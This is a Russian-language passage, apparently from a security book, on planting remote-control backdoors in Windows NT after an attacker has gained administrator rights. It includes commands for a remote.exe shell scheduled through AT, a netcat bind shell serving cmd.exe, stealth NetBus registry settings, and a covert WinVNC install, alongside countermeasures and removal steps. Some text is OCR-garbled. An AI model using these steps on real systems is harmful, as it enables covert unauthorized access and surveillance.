Удаленное управление и потайные ходы
Мы не раз отмечали, что в системе NT недостаточно хорошо обстоят дела с удаленным выполнением команд, однако до этого момента картина освещалась несколько однобоко. Дело в том, что после получения статуса администратора у взломщика появляется целый ряд возможностей выполнения таких операций.
Утилита remote.exe (NTRK)
В состав NTRK входят две утилиты, обеспечивающие удаленное выполнение команд: Remote Command Line (remote.exe) и Remote Command Service (rcmd.exe и rcmdsvc.exe, клиент и сервер соответственно). Эти утилиты включены лишь в серверный вариант NTRK.
Из них большую угрозу представляет утилита remote.exe, поскольку ее легче установить и она более проста в использовании. Сложность применения rcmdsvc. exe в основном объясняется тем, что ее нужно установить и запустить на удаленном компьютере как службу, тогда как remote.exe не нуждается в дополнительных средствах и может работать как в режиме сервера, так и в режиме клиента. Нужный режим легко задать с помощью параметра командной строки (remote.exe /С—
для клиента, remote.вхв /S —- для сервера). Однако с утилитой remote.exe возникает другая проблема из разряда "Что было раньше — курица или яйцо?" Дело в том, что для ее запуска на удаленном компьютере в качестве сервера сначала необходимо, чтобы на этом компьютере было
разрешено удаленное выполнение команд. Эта проблема решается только при наличии доступа в качестве администратора, с использованием службы Schedule системы NT, также известной как команда AT (которая доступна только администраторам).
Для начала нужно скопировать файл remote. exe в каталог удаленной системы, в котором разрешено выполнение программ. Проще всего это сделать, подключившись к совместно используемому системному ресурсу с$ в качестве администратора и скопировать указанный файл в каталог %systemroot%\system32. При этом утилита, с одной стороны, будет находиться в каталоге, в котором Windows по умолчанию производит поиск выполняемых файлов, а с другой — ее будет трудно случайно обнаружить среди множества разных системных файлов.
Затем необходимо запустить скопированную утилиту remote. exe с помощью команды AT. Однако, прежде чем это сделать, нужно провести подготовительную работу. Во-первых, на удаленной системе должна быть запушена служба Schedule. С этой задачей может справиться еще одна прекрасная утилита Service Controller (sc.exe) из набора NTRK. После этого с помощью команды net time необходимо сверить часы локальной системы с часами удаленной, как показано ниже.
С:\> ас \\192.168.202.44 start schedule
SERVICE_NAME: schedule
TYPE 10 WIN32_OWN_PROCESS
STATE 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE 0 (0x0)
SERVICE_EXIT_CODE 0 (0x0)
CHECKPOINT 0x0
WAIT_HINT OxVdO
C:\> net time \\192.168.202.44
Current time at \\192.168.202.44 is 5/29/99 10:38 PM
The command completed successfully.
Для запуска команд в течение нескольких секунд можно использовать утилиту soon из набора NTRK.
Теперь можно воспользоваться командой AT и запустить экземпляр remote. exe в серверном варианте, запланировав запуск через две минуты от текущего времени взламываемого компьютера (для использования в команде пробелов ее необходимо заключить в двойные кавычки). С помощью второй команды, как показано ниже, можно убедиться, что задание было запланировано корректно (для исправления ошибок воспользуйтесь первой командой AT с параметром [номер задания] /delete).
С:\> at \\192.168.202.44 10:40Р ""remote /s cmd secret""
Added a new job with job ID = 2
C:\> at \\192.168.202.44
Status ID Day Time Command Line
2 Today 10:40 PM remote /s cmd secret
Когда наступает момент выполнения запланированной команды, соответствующий номер задания исчезает из листинга, выводимого командой AT. Если команда была введена корректно, это означает, что сервер remote заработал. Теперь взломщик имеет доступ к командной строке удаленной системы с помощью клиентского режима команды remote. Во избежание путаницы мы используем в примере для локальной системы приглашение D:>, а для удаленной — С:>. В данном примере используется команда DIR
для просмотра каталога удаленной системы, а затем с помощью команды @Q завершается работа клиента, а сервер продолжает работать (команда @к завершает работу сервера).
D:\> remote /с 192.168.202.44 secret
*****************************
*********** remote **********
*********** CLIENT **********
*****************************
Connected..
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1998 Microsoft Corp.
C:\> dir winnt\repair\sam._
dir winnt\repair\sam._ Volume in drive С has no label.
Volume Serial Number is D837-926F
Directory of C:\winnt\repair
05/29/99 04:43p 10,406 sam.
_1 File(s) 10,406 bytes
1,243,873,280 bytes free
C:\> @q
*** SESSION OVER ***
D:\>
Да, пожалуй, вряд ли ребята из Microsoft могли придумать что-то еше более простое для хакера средней руки! Теперь мы можем запускать файлы на удаленной системе, хотя только из командной строки. Еше одним ограничением утилиты remote.exe является то, что программы, использующие консольный программный интерфейс Win32, также работать не будут. Однако в любом случае это лучше, чем вообще отсутствие возможности удаленного запуска. Как мы вскоре увидим, с ее помощью на удаленной системе можно установить более мощные средства управления.
Наконец, необходимо отметить еще одно важное свойство утилиты remote.exe, которое заключается в поддержке именованных каналов. Она будет работать на любых двух узлах, поддерживающих один и тот же протокол — IPX, TCP/IP либо NetBEUI.
Удаленный доступ к командной оболочке с
помощью netcat
Еще одним простым способом организации "потайного хода" является применение "армейского швейцарского ножа TCP/IP"— утилиты netcat
(http://www.ldpht. com/netcat). Утилиту netcat можно настроить на прослушивание определенного порта с последующим запуском исполняемой программы, если удаленная система подключается к данному порту. Настроив утилиту netcat на запуск интерпретатора командной строки NT, можно сделать так, чтобы этот интерпретатор запустился на удаленной системе. Синтаксис для запуска команды netcat в режиме скрытого прослушивания приведен в
следующем примере. Параметр -L позволяет восстанавливать разорванное соединение; -d активизирует режим скрытого прослушивания (т.е. без обмена информацией с консолью); -е позволяет задать запускаемую программу (в данном случае — интерпретатор командой строки NT cmd. exe); а -р указывает порт, который будет прослушиваться.
С:\TEMP\NC1lNT>nc -L -d -e and.exe -p 8080
Теперь любой злоумышленник, подключившийся к порту 8080, сможет на удаленном компьютере запустить интерпретатор командной строки. В следующем примере показано, как, подключившись к вышеуказанному порту рассматриваемого узла (192.168.202.44), получить удаленный доступ к интерпретатору командной строки. Для того чтобы устранить путаницу, мы снова используем в локальной системе приглашение D: \>, а в удаленной — С: \TEMP\NC11NТ>.
D:\> nc 192.168.202.44 8080
Microsoft(R) Windows NT(TM)
(С) Copyright 1985-1996 Microsoft Corp.
С:\TEMP\NC11NT>
С:\TEMP\NC1lNT>ipconfig
ipconfig
Windows NT IP Configuration Ethernet adapter FEM5561:
IP Address. ........: 192.168.202.44
Subnet Mask ........: 255.255.255.0
Default Gateway ......:
C:\TEMP\NCllNT>exit
D:\>
Таким образом, теперь удаленный пользователь может выполнять команды и запускать программы. Теперь судьба удаленного компьютера целиком и полностью зависит лишь от фантазии взломщика.
NetBus
Невозможно, рассказывая о безопасности NT, умолчать о NetBus — "старшей сестре" широко известной утилиты Back Orifice (ВО) для Win 9x, разработанной группой хакеров "Культ мертвой коровы" (cDc — Cult of the Dead Cow). Она предназначена для удаленного управления и хакинга. Главное различие между NetBus и ВО состоит в том, что первая работает как на платформе Windows NT, так и в Win 9x (правда, последние версии ВО также работают в NT — подробнее см. в следующем разделе "Back Orifice 2000"). Первая версия утилиты, разработанной Карлом-Фриде-риком Нейктером (Carl-Fredrik Neikter), распространялась бесплатно, но в начале 1999 года появившаяся версия 2.0 вышла уже в варианте NetBus Pro, который распространяется узлом http://www.netbus.org по цене $15. В новой версии были устранены многие проблемы NetBus, такие как необходимость физического доступа для ее использования в режиме скрытой работы, а также несовместимость с некоторыми средствами доставки "троянских коней". Однако "взломанные" версии утилиты, имеющиеся на хакерских узлах в Internet, не поддерживают данных возможностей. Таким образом, в Internet можно найти лишь недостаточно надежные версии NetBus (последняя версия, выпущенная перед выходом NetBus Pro, имела номер 1.7). Учитывая, сколько новых возможностей реализовано в профессиональной версии, мы не будем тратить время на описание методов использования предыдущих версий.
NetBus — это приложение, созданное на базе архитектуры клиент/сервер. Сервер называется NBSVR.EXE, однако его, конечно же, можно переименовать, присвоив ему другое имя. Для того чтобы клиент мог установить соединение с удаленной системой, на ней сначала должен быть запущен сервер. Хотя ничто не препятствует установке NetBus без привилегий администратора путем использования вложения почтового сообщения или какой-нибудь другой уловки, вероятность успеха такого метода будет низкой, если системный администратор предпринял соответствующие меры защиты (иными словами — никогда не запускайте файлов, присланных по электронной почте или каким-либо другим способом неизвестными вам лицами). Поэтому мы будем рассматривать утилиту NetBus в контексте ситуации, когда она скрытно установлена взломщиком, обладающим привилегиями администратора.
Первое, что должен сделать злоумышленник, — скопировать NBSRV.EXE в каталог %systemroot%\system32. Кроме того, необходимо настроить NetBus для запуска в скрытом режиме. Обычно этот режим активизируется с помощью графического пользовательского интерфейса, однако поскольку при удаленном доступе графический интерфейс использовать невозможно, для внесения соответствующих изменений в системный реестр придется воспользоваться средством редактирования системного реестра regini . exe, входящим в состав NTRK.
Для внесения изменений в системный реестр утилита regini в качестве входных данных должна получить соответствующий текстовый файл. Поэтому сначала нужно создать такой файл (в данном примере мы назовем его NETBUS.TXT) и поместить в него параметры, которые необходимо внести в системный реестр. Самый простой метод создания такого файла заключается в получении его с помощью локальной установки NetBus Pro 2.01 и утилиты regdmp из набора NTRK. В приведенном ниже примере листинг, сгенерированный утилитой regini в процессе внесения изменений в системный реестр удаленной системы, отображает перечень параметров, которые должны присутствовать в файле NETBUS.TXT.
D:\temp>regini -m \\192.168.202.44 netbus.txt
HKEY_LOCAL_MACHINE\SOFTWARE\Net SolutionsXNetBus Server
General
Accept = 1
TCPPort = 80
Visibility = 3
AccessMode = 2
AutoStart = 1
Protection
Password = impossible
Данные параметры управляют основными функциями утилиты NetBus. Самыми важными из них являются следующие: General\TCPPort, который настраивает сервер NBSVR на прослушивание порта 80 (это лишь рекомендация, так как порт HTTP, скорее всего, не будет отфильтровываться маршрутизатором); visibility =3, значение, задающее режим скрытой работы; AutoStart = 1, включающее режим автоматического запуска серверной части NBSVR при загрузке Windows (при этом автоматически создается дополнительный параметр реестра в группе HKLM\SOFTWARE\ Microsoft\Windows\CurrentVersion\RunServices, содержащий значение с типом REG_SZ
вида С:\WINNT\SYSTEM32\NBSvr.EXE).
После того как системный реестр отредактирован, можно запустить NBSRV.EXE из командной строки удаленной системы, а затем запустить клиентскую часть на локальной системе и подключиться к находящемуся в состоянии ожидания серверу. На следующем рисунке показан графический пользовательский интерфейс NetBus, в меню которого выбрана команда Reboot, с помощью которой на удаленной системе можно, выполнить один их самых "жестоких" трюков — перезагрузку.
Большинство остальных команд включено в программу, скорее для "невинных шалостей", а не для извлечения какой-то пользы (открытие и закрытие дисковода компакт-дисков, блокировка клавиатуры и т.д.). Одним из немногих действительно полезных средств является регистратор нажатия клавиш, диалоговое окно которого показано ниже. Кроме того, с помощью такой полезной функции, как перенаправление портов, можно использовать взломанный компьютер как плацдарм для проникновения на другие узлы сети.
Контрмеры против использования NetBus
Показанные выше изменения в системном реестре очень просто обнаружить и удалить, однако более старые версии NetBus размещали файл изменений реестра и файл сервера в разных местах и под разными именами (ранее выполняемый файл серверной части NetBus по умолчанию назывался patch.exe и часто переименовывался в [space] .exe). Кроме того, различные версии NetBus прослушивают разные порты (чаше всего по умолчанию используются порты 12345 и 20034). Наконец, все установленные по умолчанию конфигурационные параметры легко модифицировать в соответствии с желаниями взломщика. Поэтому самый лучший совет, который мы можем дать, состоит в том, чтобы найти хорошую утилиту, позволяющую удалить NetBus. Современные антивирусные пакеты легко справляются с этой задачей, поэтому нужно их регулярно использовать. Однако сначала убедитесь, что антивирусный пакет в процессе проверки не ограничивается поиском имен стандартных файлов NetBus и параметров системного реестра. Кроме того, мы считаем, что нужно также регулярно проверять параметры, управляющие запуском программ при загрузке Windows (см. раздел "Параметры Реестра, Обеспечивающие Выполнение Программ" выше в данной главе), поскольку избавиться от вредоносной программы, которая всякий раз запускается вместе с Windows, невозможно.
Без сомнения, утилита NetBus заслуживает гораздо большего внимания, чем мы уделили ей, однако необходимо отметить, что в настоящее время есть более удобные средства удаленного управления, которые не только имеют графический интерфейс, но и распространяются в Internet бесплатно (см. ниже раздел "Удаленная Атака На GUI Системы NT С Помощью Winvnc"). Однако зачастую утилита NetBus устанавливается в процессе установки других средств, что обеспечивает взломщику пространство для маневра. Так что будьте очень внимательны.
Back Orifice 2000
Хотя первая версия Back Orifice не работала в системе NT, всего за год ее программисты из группы хакеров "Культ мертвой коровы" (Cult of the Dead Cow) справились с задачей переноса своего детища на эту платформу. Версия Back Orifice 2000 (ВО2К) появилась 10 июля 1999 года, чем изрядно подпортила настроение администраторам NT, которые посмеивались над ВО9х По предоставляемым функциям ВО2К практически не отличается от ВО9х в том, что касается удаленного управления. Мы уже подробно рассматривали соответствующие функции в главе 4, поэтому не будем повторять их здесь еще раз, а сосредоточимся лишь на том, как распознать и удалить ВО2К, установленную в вашей сети.
Контрмеры: защита от Back Orifice 2000
Как и в случае с NetBus, большинство ведущих разработчиков антивирусного программного обеспечения обновили свои программные продукты, так что теперь с их помощью можно распознать и удалить ВО2К. Поэтому самый простой способ обезопасить себя от ВО2К — регулярно обновлять антивирусный пакет. Существуют также и специальные средства обнаружения и удаления ВО, однако к ним нужно относиться с осторожностью. Некоторые из них не удаляют ВО2К, а устанавливают, играя роль "троянских коней". Одним из продуктов, которым можно доверять, является Internet Scanner компании Internet Security Systems (ISS). С его помощью можно выявить присутствие ВО2К в сети, проверяя все находящиеся в режиме ожидания запросов порты.
Один из лучших методов удаления ВО2К заключается в использовании самой программы. В меню утилиты Sever Command Client (bo2kgui) из набора ВО2К имеется команда Server Control^Shutdown Server, предназначенная для удаления сервера.
К сожалению, необходимо отметить, что все описанные выше контрмеры существенно ослабляются тем обстоятельством, что разработчики программы ВО2К опубликовали ее исходный код. Это может привести к появлению модификаций Back Orifice, обнаружить которые будет не так просто. Поэтому более эффективное решение лежит не столько в технической, сколько в организационной плоскости, и состоит в обучении пользователей и объяснении им, насколько опасно запускать программы, полученные по электронной почте или загруженные из узлов Internet.
Удаленная атака на GUI системы NT с помощью WinVNC
Удаленное управление с помощью утилит командной строки — это хорошо, но все же NT является операционной системой с мощным графическим интерфейсом. Программа NetBus предоставляет возможность удаленного управления с помощью графического интерфейса, но версия, имеющаяся в нашем распоряжении во время написания книги, работает слишком медленно и к тому же нестабильно. Тем не менее, существует прекрасное средство, свободное от всех этих недостатков, — пакет Virtual Networking Computing (VNC), созданный кембриджской лабораторией AT&T и распространяемый через http: //www.uk.research.att.com/vnc (более подробное обсуждение VNC приведено в главе 13). Одна из причин, по которой VNC выгодно отличается от прочих программ аналогичного назначения (помимо столь примечательного факта, что VNC абсолютно бесплатна!), заключается в том, что ее установка через удаленное сетевое соединение выполняется не намного сложнее, чем локальная установка. Используя удаленный сеанс командной строки, который был рассмотрен выше, достаточно лишь установить на удаленный компьютер службу VNC и обеспечить ее скрытый запуск, внеся одно-единственное изменение в системный реестр. Ниже приведено краткое описание этой процедуры, но для того, чтобы лучше разобраться в методах управления VNC из командной строки, мы все же рекомендуем изучить полную документацию по VNC, которую также можно найти по указанному выше адресу URL.
Первый этап состоит в копировании исполняемого файла и библиотек VNC
(WINVNC.EXE, VNCHooks.DLL И OMNITHREAD_RT.DLL) на удаленный
компьютер, который после установки будет играть роль сервера. Для этого можно использовать любой каталог, но лучше всего "укрыть" эти файлы "глубоко в недрах" каталога %systemroot%. Необходимо также учитывать, что после запуска сервера последние версии WinVNC автоматически помещают небольшую зеленую пиктограмму на панели задач. Запуск из командной строки версий 3.3.2 и более ранних менее незаметен для пользователей (конечно, это не распространяется на список процессов, в котором без труда можно отыскать WinVNC. EXE).
После того как файл WINVNC.EXE скопирован, необходимо настроить доступ к VNC с использованием пароля, так как при запуске службы WINVNC по умолчанию на экране появляется диалоговое окно, требующее ввода пароля, прежде чем служба разрешит входящие соединение (обеспокоенность разработчиков вопросами безопасности просто умиляет!). Кроме того, службе WINVNC необходимо находиться в режиме ожидания входящих соединений, что также настраивается посредством графического интерфейса. Для того чтобы настроить соответствующие параметры программы, нужно напрямую внести необходимые изменения в удаленный системный реестр с помощью утилиты regini. exe, как это было сделано при удаленной установке NetBus.
Сначала нужно создать файл WINVNC. INI и внести в него подлежащие изменению параметры системного реестра и их значения. Приведенные в следующем примере значения были получены из реестра локального компьютера после установки на нем WinVNC с использованием утилиты regdmp из набора NTRK (бинарное представление пароля соответствует строке secret).
Вот содержимое файла WINVNC. INI.
HKEY_USERSX.DEFAULTXSoftware\ORL\WinVNC3
SocketConnect = REG_DWORD 0x00000001
Password = REG_BINARY 0x00000008 Ox57bf2d2e Ох8е6сbО6е
Затем с помощью утилиты regini эти параметры необходимо поместить в системный реестр удаленного компьютера.
С:\> regini -m \\192.168.202.33 winvnc.ini
HKEY_USERS\.DEFAULTXSoftware\ORL\WinVNC3
SocketConnect = REG_DWORD 0x00000001
Password = REG_BINARY 0x00000008 Ox57bf2d2e ОхЭе6сbО6е
Наконец установите программу WinVNC в качестве службы и запустите ее. В следующем примере показано, как это сделать с помощью удаленного сеанса командной строки. С:\> winvnc -install
С:\> net start winvnc
The VNC Server service is starting.
The VNC Server service was started successfully.
Теперь можно запустить приложение vncviewer и подключиться к удаленному компьютеру. Ниже показаны два диалоговых окна, в первом из которых приложение vnc viewer уведомляет пользователя о том, что установлен сеанс связи с "дисплеем О", имеющим IP-адрес 192.168.202.33. (Синтаксис узел-дисплей эквивалентен принятому в системе оконного интерфейса X Window системы UNIX. Все системы, работающие под управлением Windows, по умолчанию обозначаются как дисплей 0.) Второе диалоговое окно предназначено для ввода пароля (вы еще не забыли, какое слово мы выбрали в качестве пароля?).
Вуаля! Перед вами во всей своей красе появляется изображение рабочего стола удаленного компьютера, как показано на рис. 5.9. При этом указатель мыши ведет себя так, словно вы держите в руках не свою мышь, а мышь удаленного компьютера.
Очевидно, что возможности VNC изумительны: вы можете даже воспользоваться комбинацией клавиш <Ctrl+Alt+Del> для перезагрузки удаленной системы.
Остановка и удаление WinVNC
Самый простой способ остановки службы WinVNC и ее удаления состоит в использовании двух следующих команд.
net stop winvnc
winvnc -remove
Для удаления оставшихся в реестре параметров воспользуйтесь утилитой из набора NTRK REG.EXE, как показано в следующем примере.
C:\>reg delete \\192.168.202.33
HKEY_LOCAL_MACHINE\System\ CurrentControlSet\Services\WinVNC
|